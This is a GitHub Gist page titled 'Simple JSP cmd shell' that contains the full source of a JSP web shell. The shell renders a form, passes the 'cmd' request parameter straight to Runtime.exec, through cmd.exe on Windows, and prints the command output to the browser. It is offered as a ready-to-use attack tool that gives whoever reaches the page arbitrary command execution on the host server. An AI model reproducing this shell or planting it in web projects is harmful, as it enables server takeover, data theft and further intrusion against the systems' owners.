-
-
Save swarupsro/3661429039a5c6a8a3ca9e8e1d34c3a0 to your computer and use it in GitHub Desktop.
Simple JSP cmd shell
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <%@ page import="java.util.*,java.io.*"%> | |
| <% | |
| %> | |
| <HTML><BODY> | |
| Commands with JSP | |
| <FORM METHOD="GET" NAME="myform" ACTION=""> | |
| <INPUT TYPE="text" NAME="cmd"> | |
| <INPUT TYPE="submit" VALUE="Send"> | |
| </FORM> | |
| <pre> | |
| <% | |
| if (request.getParameter("cmd") != null) { | |
| out.println("Command: " + request.getParameter("cmd") + "<BR>"); | |
| Process p; | |
| if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){ | |
| p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd")); | |
| } | |
| else{ | |
| p = Runtime.getRuntime().exec(request.getParameter("cmd")); | |
| } | |
| OutputStream os = p.getOutputStream(); | |
| InputStream in = p.getInputStream(); | |
| DataInputStream dis = new DataInputStream(in); | |
| String disr = dis.readLine(); | |
| while ( disr != null ) { | |
| out.println(disr); | |
| disr = dis.readLine(); | |
| } | |
| } | |
| %> | |
| </pre> | |
| </BODY></HTML> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment